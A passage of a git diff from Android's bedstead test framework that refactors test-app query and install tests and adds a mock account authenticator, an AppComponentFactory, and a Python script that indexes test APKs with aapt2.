+        assertThat(testApp.permissions()).contains(PERMISSION_DECLARED_BY_TESTAPP);
+    }
+
+    @Test
+    public void query_withoutPermission_returnsMatching() {
+        TestApp testApp = mTestAppProvider.query()
+                .wherePermissions().doesNotContain(PERMISSION_DECLARED_BY_TESTAPP)
+                .get();
+
+        assertThat(testApp.permissions()).doesNotContain(PERMISSION_DECLARED_BY_TESTAPP);
+    }
+
+    @Test
+    public void query_metadata_returnsMatching() {
+        TestApp testApp = mTestAppProvider.query()
+                .whereMetadata().key(METADATA_KEY).stringValue().isEqualTo(METADATA_VALUE)
+                .get();
+
+        assertThat(testApp.metadata().get(METADATA_KEY)).isEqualTo(METADATA_VALUE);
+    }
+
+    @Test
+    public void query_withExistingActivity_returnsMatching() {
+        TestApp testApp = mTestAppProvider.query()
+                .whereActivities().contains(
+                        activity().activityClass()
+                            .className().isEqualTo(KNOWN_EXISTING_TESTAPP_ACTIVITY_CLASSNAME)
+                )
+                .get();
+
+        Set<String> activityClassNames = testApp.activities().stream()
+                .map(a -> a.className()).collect(Collectors.toSet());
+        assertThat(activityClassNames).contains(KNOWN_EXISTING_TESTAPP_ACTIVITY_CLASSNAME);
+    }
+
+    @Test
+    public void query_withAnyActivity_returnsMatching() {
+        TestApp testApp = mTestAppProvider.query()
+                .whereActivities().isNotEmpty()
+                .get();
+
+        assertThat(testApp.activities()).isNotEmpty();
+    }
+
+    @Test
+    public void query_withNoActivity_returnsMatching() {
+        TestApp testApp = mTestAppProvider.query()
+                .whereActivities().isEmpty()
+                .get();
+
+        assertThat(testApp.activities()).isEmpty();
+    }
+
+    @Test
+    public void query_doesNotSpecifySharedUserId_sharedUserIdIsNull() {
+        TestApp testApp = mTestAppProvider.query()
+                .get();
+
+        assertThat(testApp.sharedUserId()).isNull();
+    }
+
+    @Test
+    @Ignore("re-enable when we have a test app which has a shareuserid")
+    public void query_doesSpecifySharedUserId_matches() {
+        TestApp testApp = mTestAppProvider.query()
+                .whereSharedUserId().isEqualTo("com.android.bedstead")
+                .get();
+
+        assertThat(testApp.sharedUserId()).isEqualTo("com.android.bedstead");
+    }
+
+    @Test
+    public void query_specifiesNullSharedUserId_matches() {
+        TestApp testApp = mTestAppProvider.query()
+                .whereSharedUserId().isNull()
+                .get();
+
+        assertThat(testApp.sharedUserId()).isNull();
+    }
 }
diff --git a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppTest.java b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppTest.java
index c2c29ac..f9e8e34 100644
--- a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppTest.java
+++ b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppTest.java
@@ -23,26 +23,32 @@
 import android.content.Context;
 import android.os.UserHandle;
 
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner;
 import com.android.bedstead.nene.TestApis;
-import com.android.bedstead.nene.packages.Package;
 import com.android.bedstead.nene.users.UserReference;
 
 import org.junit.Before;
+import org.junit.ClassRule;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
 
 import java.io.File;
 
-@RunWith(JUnit4.class)
+@RunWith(BedsteadJUnit4.class)
 public class TestAppTest {
 
-    private static final TestApis sTestApis = new TestApis();
-    private static final UserReference sUser = sTestApis.users().instrumented();
+    @ClassRule @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    private static final UserReference sUser = TestApis.users().instrumented();
     private static final UserHandle sUserHandle = sUser.userHandle();
-    private static final UserReference sNonExistingUser = sTestApis.users().find(9999);
+    private static final UserReference sNonExistingUser = TestApis.users().find(9999);
     private static final UserHandle sNonExistingUserHandle = sNonExistingUser.userHandle();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final Context sContext = TestApis.context().instrumentedContext();
 
     private TestAppProvider mTestAppProvider;
 
@@ -55,18 +61,17 @@
     public void reference_returnsNeneReference() {
         TestApp testApp = mTestAppProvider.any();
 
-        assertThat(testApp.reference()).isEqualTo(sTestApis.packages().find(testApp.packageName()));
+        assertThat(testApp.pkg()).isEqualTo(TestApis.packages().find(testApp.packageName()));
     }
 
     @Test
-    public void resolve_returnsNenePackage() {
+    public void install_noUserSpecified_installsInInstrumentedUser() {
         TestApp testApp = mTestAppProvider.any();
-        testApp.install(sUser);
+
+        testApp.install();
 
         try {
-            Package pkg = testApp.resolve();
-
-            assertThat(pkg.packageName()).isEqualTo(testApp.packageName());
+            assertThat(testApp.pkg().installedOnUser(sUser)).isTrue();
         } finally {
             testApp.uninstall(sUser);
         }
@@ -79,7 +84,7 @@
         testApp.install(sUser);
 
         try {
-            assertThat(testApp.resolve().installedOnUsers()).contains(sUser);
+            assertThat(testApp.pkg().installedOnUser(sUser)).isTrue();
         } finally {
             testApp.uninstall(sUser);
         }
@@ -90,7 +95,7 @@
         TestApp testApp = mTestAppProvider.any();
 
         try {
-            TestAppInstanceReference testAppInstance = testApp.install(sUser);
+            TestAppInstance testAppInstance = testApp.install(sUser);
 
             assertThat(testAppInstance.testApp()).isEqualTo(testApp);
             assertThat(testAppInstance.user()).isEqualTo(sUser);
@@ -106,7 +111,7 @@
         testApp.install(sUserHandle);
 
         try {
-            assertThat(testApp.resolve().installedOnUsers()).contains(sUser);
+            assertThat(testApp.pkg().installedOnUser(sUser)).isTrue();
         } finally {
             testApp.uninstall(sUser);
         }
@@ -117,7 +122,7 @@
         TestApp testApp = mTestAppProvider.any();
 
         try {
-            TestAppInstanceReference testAppInstance = testApp.install(sUserHandle);
+            TestAppInstance testAppInstance = testApp.install(sUserHandle);
 
             assertThat(testAppInstance.testApp()).isEqualTo(testApp);
             assertThat(testAppInstance.user()).isEqualTo(sUser);
@@ -144,7 +149,7 @@
     public void instance_userHandle_instanceIsNotInstalled_stillReturnsInstance() {
         TestApp testApp = mTestAppProvider.any();
 
-        TestAppInstanceReference testAppInstance = testApp.instance(sUserHandle);
+        TestAppInstance testAppInstance = testApp.instance(sUserHandle);
 
         assertThat(testAppInstance.testApp()).isEqualTo(testApp);
         assertThat(testAppInstance.user()).isEqualTo(sUser);
@@ -154,7 +159,7 @@
     public void instance_userReference_instanceIsNotInstalled_stillReturnsInstance() {
         TestApp testApp = mTestAppProvider.any();
 
-        TestAppInstanceReference testAppInstance = testApp.instance(sNonExistingUserHandle);
+        TestAppInstance testAppInstance = testApp.instance(sNonExistingUserHandle);
 
         assertThat(testAppInstance.testApp()).isEqualTo(testApp);
         assertThat(testAppInstance.user()).isEqualTo(sNonExistingUser);
@@ -164,7 +169,7 @@
     public void instance_userHandle_nonExistingUser_stillReturnsInstance() {
         TestApp testApp = mTestAppProvider.any();
 
-        TestAppInstanceReference testAppInstance = testApp.instance(sUserHandle);
+        TestAppInstance testAppInstance = testApp.instance(sUserHandle);
 
         assertThat(testAppInstance.testApp()).isEqualTo(testApp);
         assertThat(testAppInstance.user()).isEqualTo(sUser);
@@ -181,7 +186,7 @@
     public void instance_userReference_nonExistingUser_stillReturnsInstance() {
         TestApp testApp = mTestAppProvider.any();
 
-        TestAppInstanceReference testAppInstance = testApp.instance(sNonExistingUser);
+        TestAppInstance testAppInstance = testApp.instance(sNonExistingUser);
 
         assertThat(testAppInstance.testApp()).isEqualTo(testApp);
         assertThat(testAppInstance.user()).isEqualTo(sNonExistingUser);
@@ -239,16 +244,23 @@
     }
 
     @Test
+    public void uninstall_noUserSpecified_uninstallsFromInstrumentedUser() {
+        TestApp testApp = mTestAppProvider.any();
+        testApp.install(sUser);
+
+        testApp.uninstall();
+
+        assertThat(testApp.pkg().installedOnUser(sUser)).isFalse();
+    }
+
+    @Test
     public void uninstall_userHandle_uninstalls() {
         TestApp testApp = mTestAppProvider.any();
         testApp.install(sUser);
 
         testApp.uninstall(sUserHandle);
 
-        Package testAppPackage = testApp.reference().resolve();
-        if (testAppPackage != null) {
-            assertThat(testAppPackage.installedOnUsers()).doesNotContain(sUser);
-        }
+        assertThat(testApp.pkg().installedOnUser(sUser)).isFalse();
     }
 
     @Test
@@ -258,10 +270,7 @@
 
         testApp.uninstall(sUser);
 
-        Package testAppPackage = testApp.reference().resolve();
-        if (testAppPackage != null) {
-            assertThat(testAppPackage.installedOnUsers()).doesNotContain(sUser);
-        }
+        assertThat(testApp.pkg().installedOnUser(sUser)).isFalse();
     }
 
     @Test
@@ -279,4 +288,44 @@
             outputFile.delete();
         }
     }
+
+    @Test
+    @EnsureHasDeviceOwner
+    public void install_repeated_hasRemoteDpcDeviceOwner_doesNotFailVerification() {
+        TestApp testApp = mTestAppProvider.any();
+        try (TestAppInstance t = testApp.install()) {
+            // Intentionally empty
+        }
+        try (TestAppInstance t = testApp.install()) {
+            // Intentionally empty
+        }
+    }
+
+    @Test
+    @EnsureHasWorkProfile(dpcIsPrimary = true)
+    public void install_repeated_hasRemoteDpcWorkProfile_doesNotFailVerification() {
+        TestApp testApp = mTestAppProvider.any();
+
+        // The first install can be into the parent or the work profile and it will succeed
+        try (TestAppInstance t = testApp.install()) {
+            // Intentionally empty
+        }
+
+        // The second will fail 100% of the time if DISALLOW_INSTALL_UNKNOWN_SOURCES is enabled
+        try (TestAppInstance t = testApp.install(sDeviceState.workProfile())) {
+            // Intentionally empty
+        }
+    }
+
+    @Test
+    @EnsureHasWorkProfile
+    public void install_repeated_hasRemoteDpcWorkProfile_installsInParent_doesNotFailVerification() {
+        TestApp testApp = mTestAppProvider.any();
+        try (TestAppInstance t = testApp.install()) {
+            // Intentionally empty
+        }
+        try (TestAppInstance t = testApp.install()) {
+            // Intentionally empty
+        }
+    }
 }
diff --git a/common/device-side/bedstead/testapp/src/main/testapps/AndroidManifest.xml b/common/device-side/bedstead/testapp/src/testapps/main/AndroidManifest.xml
similarity index 95%
rename from common/device-side/bedstead/testapp/src/main/testapps/AndroidManifest.xml
rename to common/device-side/bedstead/testapp/src/testapps/main/AndroidManifest.xml
index 78d2273..5bb363d 100644
--- a/common/device-side/bedstead/testapp/src/main/testapps/AndroidManifest.xml
+++ b/common/device-side/bedstead/testapp/src/testapps/main/AndroidManifest.xml
@@ -18,7 +18,7 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="com.android.bedstead.testapp.testapps">
-    <uses-sdk android:minSdkVersion="28" />
+    <uses-sdk android:minSdkVersion="27" />
     <application>
         <service android:name="com.google.android.enterprise.connectedapps.CrossProfileConnector_Service" android:exported="true" />
     </application>
diff --git a/common/device-side/bedstead/testapp/src/main/testapps/java/com/android/bedstead/testapp/BaseTestAppActivity.java b/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/BaseTestAppActivity.java
similarity index 82%
rename from common/device-side/bedstead/testapp/src/main/testapps/java/com/android/bedstead/testapp/BaseTestAppActivity.java
rename to common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/BaseTestAppActivity.java
index 1283b29..fef0895 100644
--- a/common/device-side/bedstead/testapp/src/main/testapps/java/com/android/bedstead/testapp/BaseTestAppActivity.java
+++ b/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/BaseTestAppActivity.java
@@ -19,15 +19,13 @@
 import android.app.Activity;
 import android.os.Bundle;
 import android.os.PersistableBundle;
-import android.util.Log;
 
+import com.android.bedstead.nene.utils.Poll;
 import com.android.eventlib.premade.EventLibActivity;
 
 import java.util.Map;
 import java.util.WeakHashMap;
 
-import javax.annotation.Nullable;
-
 /**
  * An {@link Activity} which logs events for all lifecycle events and supports TestApp Features.
  */
@@ -38,15 +36,19 @@
     /**
      * Find an activity for the given class name.
      *
-     * <p>This will return {@code null} if there is no existing activity for the class name.
+     * <p>This will throw an {@link IllegalStateException} if there is no existing activity for the
+     * class name.
      *
      * <p>This method is thread-safe
      */
-    @Nullable
     public static BaseTestAppActivity findActivity(String activityClassName) {
-        synchronized (BaseTestAppActivity.class) {
-            return sActivities.get(activityClassName);
-        }
+        return Poll.forValue("activity for className", () -> {
+            synchronized (BaseTestAppActivity.class) {
+                return sActivities.get(activityClassName);
+            }
+        }).toNotBeNull()
+                .errorOnFail("No existing activity named " + activityClassName)
+                .await();
     }
 
     @Override
diff --git a/common/device-side/bedstead/testapp/src/main/testapps/java/com/android/bedstead/testapp/BaseTestAppBroadcastReceiver.java b/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/BaseTestAppBroadcastReceiver.java
similarity index 100%
rename from common/device-side/bedstead/testapp/src/main/testapps/java/com/android/bedstead/testapp/BaseTestAppBroadcastReceiver.java
rename to common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/BaseTestAppBroadcastReceiver.java
diff --git a/common/device-side/bedstead/testapp/src/main/testapps/java/com/android/bedstead/testapp/BaseTestAppDeviceAdminReceiver.java b/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/BaseTestAppDeviceAdminReceiver.java
similarity index 100%
rename from common/device-side/bedstead/testapp/src/main/testapps/java/com/android/bedstead/testapp/BaseTestAppDeviceAdminReceiver.java
rename to common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/BaseTestAppDeviceAdminReceiver.java
diff --git a/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAccountAuthenticator.java b/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAccountAuthenticator.java
new file mode 100644
index 0000000..eaf08d4
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAccountAuthenticator.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.testapp;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.accounts.NetworkErrorException;
+import android.content.Context;
+import android.os.Bundle;
+
+// TODO(b/199138647): Allow configuration of TestAppAccountAuthenticator
+/**
+ * An account authenticator which has every feature, has a single fixed account and accepts
+ * every account being added/edited/removed.
+ */
+public final class TestAppAccountAuthenticator extends AbstractAccountAuthenticator {
+    private static TestAppAccountAuthenticator sMockAuthenticator = null;
+    private static final String ACCOUNT_NAME
+            = "com.android.bedstead.testapp.AccountManagementApp.account.name";
+    private static final String ACCOUNT_TYPE
+            = "com.android.bedstead.testapp.AccountManagementApp.account.type";
+    private static final String AUTH_TOKEN = "mockAuthToken";
+    private static final String AUTH_TOKEN_LABEL = "mockAuthTokenLabel";
+
+    public static synchronized TestAppAccountAuthenticator getAuthenticator(Context context) {
+        if (null == sMockAuthenticator) {
+            sMockAuthenticator = new TestAppAccountAuthenticator(context);
+        }
+        return sMockAuthenticator;
+    }
+
+    private TestAppAccountAuthenticator(Context context) {
+        super(context);
+    }
+
+    private Bundle createResultBundle() {
+        Bundle result = new Bundle();
+        result.putString(AccountManager.KEY_ACCOUNT_NAME, ACCOUNT_NAME);
+        result.putString(AccountManager.KEY_ACCOUNT_TYPE, ACCOUNT_TYPE);
+        result.putString(AccountManager.KEY_AUTHTOKEN, AUTH_TOKEN);
+        return result;
+    }
+
+    @Override
+    public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
+            String authTokenType, String[] requiredFeatures, Bundle options)
+            throws NetworkErrorException {
+        return createResultBundle();
+    }
+
+    @Override
+    public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
+        return createResultBundle();
+    }
+
+    @Override
+    public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account,
+            String authTokenType, Bundle options) throws NetworkErrorException {
+        return createResultBundle();
+    }
+
+    @Override
+    public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account,
+            Bundle options) throws NetworkErrorException {
+
+        Bundle result = new Bundle();
+        result.putBoolean(AccountManager.KEY_BOOLEAN_RESULT, true);
+        return result;
+    }
+
+    @Override
+    public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account,
+            String authTokenType, Bundle options) throws NetworkErrorException {
+        return createResultBundle();
+    }
+
+    @Override
+    public String getAuthTokenLabel(String authTokenType) {
+        return AUTH_TOKEN_LABEL;
+    }
+
+    @Override
+    public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account,
+            String[] features) throws NetworkErrorException {
+        Bundle result = new Bundle();
+        result.putBoolean(AccountManager.KEY_BOOLEAN_RESULT, true);
+        return result;
+    }
+}
+
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java b/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAccountAuthenticatorService.java
similarity index 60%
copy from common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java
copy to common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAccountAuthenticatorService.java
index 669bb13..8ab57f3 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java
+++ b/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAccountAuthenticatorService.java
@@ -16,9 +16,17 @@
 
 package com.android.bedstead.testapp;
 
-/** {@link Exception} thrown when a query doesn't match any test apps. */
-public class NotFoundException extends RuntimeException {
-    public NotFoundException(TestAppQueryBuilder query) {
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
 
+// TODO(b/199143717): Create EventLibService
+/**
+ * A single-purpose {@link Service} to allow test apps to act as account authenticators.
+ */
+public final class TestAppAccountAuthenticatorService extends Service {
+    @Override
+    public IBinder onBind(Intent intent) {
+        return TestAppAccountAuthenticator.getAuthenticator(this).getIBinder();
     }
 }
diff --git a/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java b/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java
new file mode 100644
index 0000000..2fc307f
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.testapp;
+
+import android.accounts.AccountManager;
+import android.app.Activity;
+import android.app.AppComponentFactory;
+import android.app.Service;
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.CrossProfileApps;
+import android.content.pm.LauncherApps;
+import android.content.pm.PackageManager;
+import android.net.wifi.WifiManager;
+import android.os.HardwarePropertiesManager;
+import android.os.UserManager;
+import android.security.KeyChain;
+import android.util.Log;
+
+import com.android.bedstead.testapp.processor.annotations.FrameworkClass;
+import com.android.bedstead.testapp.processor.annotations.TestAppReceiver;
+
+/**
+ * An {@link AppComponentFactory} which redirects invalid class names to premade TestApp classes.
+ */
+@TestAppReceiver(
+        frameworkClasses = {
+                @FrameworkClass(frameworkClass = DevicePolicyManager.class, constructor = "context.getSystemService(android.app.admin.DevicePolicyManager.class)"),
+                @FrameworkClass(frameworkClass = HardwarePropertiesManager.class, constructor = "context.getSystemService(android.os.HardwarePropertiesManager.class)"),
+                @FrameworkClass(frameworkClass = UserManager.class, constructor = "context.getSystemService(android.os.UserManager.class)"),
+                @FrameworkClass(frameworkClass = WifiManager.class, constructor = "context.getSystemService(android.net.wifi.WifiManager.class)"),
+                @FrameworkClass(frameworkClass = PackageManager.class, constructor = "context.getPackageManager()"),
+                @FrameworkClass(frameworkClass = CrossProfileApps.class, constructor = "context.getSystemService(android.content.pm.CrossProfileApps.class)"),
+                @FrameworkClass(frameworkClass = LauncherApps.class, constructor = "context.getSystemService(android.content.pm.LauncherApps.class)"),
+                @FrameworkClass(frameworkClass = AccountManager.class, constructor = "context.getSystemService(android.accounts.AccountManager.class)"),
+                @FrameworkClass(frameworkClass = Context.class, constructor = "context"),
+                @FrameworkClass(frameworkClass = ContentResolver.class, constructor = "context.getContentResolver()"),
+                @FrameworkClass(frameworkClass = KeyChain.class, constructor = "null") // KeyChain can not be instantiated - all calls are static
+        }
+)
+public final class TestAppAppComponentFactory extends AppComponentFactory {
+
+    private static final String LOG_TAG = "TestAppACF";
+
+    @Override
+    public Activity instantiateActivity(ClassLoader classLoader, String className, Intent intent)
+            throws InstantiationException, IllegalAccessException, ClassNotFoundException {
+
+        try {
+            return super.instantiateActivity(classLoader, className, intent);
+        } catch (ClassNotFoundException e) {
+            Log.d(LOG_TAG,
+                    "Activity class (" + className + ") not found, routing to TestAppActivity");
+            BaseTestAppActivity activity =
+                    (BaseTestAppActivity) super.instantiateActivity(
+                            classLoader, BaseTestAppActivity.class.getName(), intent);
+            activity.setOverrideActivityClassName(className);
+            return activity;
+        }
+    }
+
+    @Override
+    public BroadcastReceiver instantiateReceiver(ClassLoader classLoader, String className,
+            Intent intent)
+            throws InstantiationException, IllegalAccessException, ClassNotFoundException {
+        try {
+            return super.instantiateReceiver(classLoader, className, intent);
+        } catch (ClassNotFoundException e) {
+
+            if (className.endsWith("DeviceAdminReceiver")) {
+                Log.d(LOG_TAG, "Broadcast Receiver class (" + className
+                        + ") not found, routing to TestAppDeviceAdminReceiver");
+                BaseTestAppDeviceAdminReceiver receiver = (BaseTestAppDeviceAdminReceiver)
+                        super.instantiateReceiver(
+                                classLoader, BaseTestAppDeviceAdminReceiver.class.getName(),
+                                intent);
+                receiver.setOverrideDeviceAdminReceiverClassName(className);
+                return receiver;
+            }
+
+            Log.d(LOG_TAG, "Broadcast Receiver class (" + className
+                    + ") not found, routing to TestAppBroadcastReceiver");
+            BaseTestAppBroadcastReceiver receiver = (BaseTestAppBroadcastReceiver)
+                    super.instantiateReceiver(
+                            classLoader, BaseTestAppBroadcastReceiver.class.getName(), intent);
+            receiver.setOverrideBroadcastReceiverClassName(className);
+            return receiver;
+        }
+    }
+
+    @Override
+    public Service instantiateService(ClassLoader classLoader, String className, Intent intent)
+            throws InstantiationException, IllegalAccessException, ClassNotFoundException {
+        try {
+            return super.instantiateService(classLoader, className, intent);
+        } catch (ClassNotFoundException e) {
+            if (className.endsWith("AccountAuthenticatorService")) {
+                Log.d(LOG_TAG, "Service class (" + className
+                        + ") not found, routing to TestAppAccountAuthenticatorService");
+                return super.instantiateService(
+                        classLoader,
+                        TestAppAccountAuthenticatorService.class.getName(),
+                        intent);
+            } else {
+                throw e;
+            }
+        }
+    }
+}
diff --git a/common/device-side/bedstead/testapp/src/main/testapps/java/com/android/bedstead/testapp/TestAppController.java b/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppController.java
similarity index 89%
rename from common/device-side/bedstead/testapp/src/main/testapps/java/com/android/bedstead/testapp/TestAppController.java
rename to common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppController.java
index 231da1f..06c5c1e 100644
--- a/common/device-side/bedstead/testapp/src/main/testapps/java/com/android/bedstead/testapp/TestAppController.java
+++ b/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppController.java
@@ -18,7 +18,6 @@
 
 import android.content.Context;
 import android.content.IntentFilter;
-import android.util.Log;
 
 import com.google.android.enterprise.connectedapps.annotations.CrossUser;
 
@@ -33,15 +32,22 @@
     private static final Map<Long, BaseTestAppBroadcastReceiver> sBroadcastReceivers =
             new HashMap<>();
 
+    /**
+     * Register a broadcast receiver.
+     *
+     * <p>Received broadcasts can be queried using EventLib.
+     */
     @CrossUser
     public void registerReceiver(Context context, long receiverId, IntentFilter intentFilter) {
-        // TODO: We must persist this somehow so it can be restored after killing
         BaseTestAppBroadcastReceiver broadcastReceiver = new BaseTestAppBroadcastReceiver();
         sBroadcastReceivers.put(receiverId, broadcastReceiver);
 
         context.registerReceiver(broadcastReceiver, intentFilter);
     }
 
+    /**
+     * Unregister a previously registered broadcast receiver.
+     */
     @CrossUser
     public void unregisterReceiver(Context context, long receiverId) {
         BaseTestAppBroadcastReceiver receiver = sBroadcastReceivers.remove(receiverId);
diff --git a/common/device-side/bedstead/remotedpc/src/communication/main/AndroidManifest.xml b/common/device-side/bedstead/testapp/src/testapps/main/res/accountmanagement/xml/authenticator.xml
similarity index 63%
copy from common/device-side/bedstead/remotedpc/src/communication/main/AndroidManifest.xml
copy to common/device-side/bedstead/testapp/src/testapps/main/res/accountmanagement/xml/authenticator.xml
index dfc7779..0228d1f 100644
--- a/common/device-side/bedstead/remotedpc/src/communication/main/AndroidManifest.xml
+++ b/common/device-side/bedstead/testapp/src/testapps/main/res/accountmanagement/xml/authenticator.xml
@@ -1,5 +1,3 @@
-<?xml version="1.0" encoding="utf-8"?>
-
 <!--
   ~ Copyright (C) 2021 The Android Open Source Project
   ~
@@ -16,9 +14,10 @@
   ~ limitations under the License.
   -->
 
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.bedstead.remotedpc.communication">
-    <uses-sdk android:minSdkVersion="27" />
-    <application>
-    </application>
-</manifest>
+<!-- The attributes in this XML file provide configuration information -->
+<!-- for the Account Manager. -->
+
+<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
+                       android:accountType="com.android.bedstead.testapp.AccountManagementApp.account.type"
+                       android:label="DevicePolicy mock account"
+/>
\ No newline at end of file
diff --git a/common/device-side/bedstead/testapp/tools/index/index_testapps.py b/common/device-side/bedstead/testapp/tools/index/index_testapps.py
index 26a7f1f..163e35a 100644
--- a/common/device-side/bedstead/testapp/tools/index/index_testapps.py
+++ b/common/device-side/bedstead/testapp/tools/index/index_testapps.py
@@ -14,19 +14,217 @@
 
 import argparse
 from pathlib import Path
+import subprocess
+import queue
+from src.library.main.proto.testapp_protos_pb2 import TestAppIndex, AndroidApp, UsesSdk,\
+    Permission, Activity, IntentFilter, Service, Metadata
+
+ELEMENT = "E"
+ATTRIBUTE = "A"
 
 def main():
     args_parser = argparse.ArgumentParser(description='Generate index for test apps')
     args_parser.add_argument('--directory', help='Directory containing test apps')
+    args_parser.add_argument('--aapt2', help='The path to aapt2')
     args = args_parser.parse_args()
 
     pathlist = Path(args.directory).rglob('*.apk')
     file_names = [p.name for p in pathlist]
 
-    # TODO(scottjonathan): Replace this with a proto with actual details
-    with open(args.directory + "/index.txt", "w") as outfile:
-        for file_name in file_names:
-            print(file_name.rsplit(".", 1)[0], file=outfile)
+    index = TestAppIndex()
+
+    for file_name in file_names:
+        aapt2_command = [
+            args.aapt2, 'd', 'xmltree', '--file', 'AndroidManifest.xml', args.directory + "/" + file_name]
+        index.apps.append(parse(str(subprocess.check_output(aapt2_command)), file_name))
+
+    with open(args.directory + "/index.txt", "wb") as fd:
+        fd.write(index.SerializeToString())
+
+class XmlTreeLine:
+    """ A single line taken from the aapt2 xmltree output. """
+
+    def __init__(self, line, children):
+        self.line = line
+        self.children = children
+
+    def __str__(self):
+        return str(self.line) + "{" + ", ".join([str(s) for s in self.children]) + "}"
+
+class Element:
+    """ An XML element. """
+
+    def __init__(self, name, attributes, children):
+        self.name = name
+        self.attributes = attributes
+        self.children = children
+
+    def __str__(self):
+        return "Element(" + self.name +  " " + str(self.attributes) + ")"
+
+def parse_lines(manifest_content):
+    return parse_line(manifest_content, 0)[1]
+
+def parse_line(manifest_content, ptr, incoming_indentation = -1):
+    line = manifest_content[ptr]
+    line_without_indentation = line.lstrip(" ")
+    indentation_size = len(line) - len(line_without_indentation)
+
+    if (indentation_size <= incoming_indentation):
+        return ptr, None
+
+    ptr += 1
+    children = []
+
+    while (ptr < len(manifest_content)):
+        ptr, next_child = parse_line(manifest_content, ptr, indentation_size)
+        if next_child:
+            children.append(next_child)
+        else:
+            break
+
+    return ptr, XmlTreeLine(line_without_indentation, children)
+
+def augment(element):
+    """ Convert a XmlTreeLine and descendants into an Element with descendants. """
+    name = None
+    if element.line:
+        name = element.line[3:].split(" ", 1)[0]
+    attributes = {}
+    children = []
+
+    children_to_process = queue.Queue()
+    for c in element.children:
+        children_to_process.put(c)
+
+    while not children_to_process.empty():
+        c = children_to_process.get()
+        if c.line.startswith("E"):
+            # Is an element
+            children.append(augment(c))
+        elif c.line.startswith("A"):
+            # Is an attribute
+            attribute_name = c.line[3:].split("=", 1)[0]
+            if ":" in attribute_name:
+                attribute_name = attribute_name.rsplit(":", 1)[1]
+            attribute_name = attribute_name.split("(", 1)[0]
+            attribute_value = c.line.split("=", 1)[1].split(" (Raw", 1)[0]
+            if attribute_value[0] == '"':
+                attribute_value = attribute_value[1:-1]
+            attributes[attribute_name] = attribute_value
+
+            # Children of the attribute are actually children of the element itself
+            for child in c.children:
+                children_to_process.put(child)
+        else:
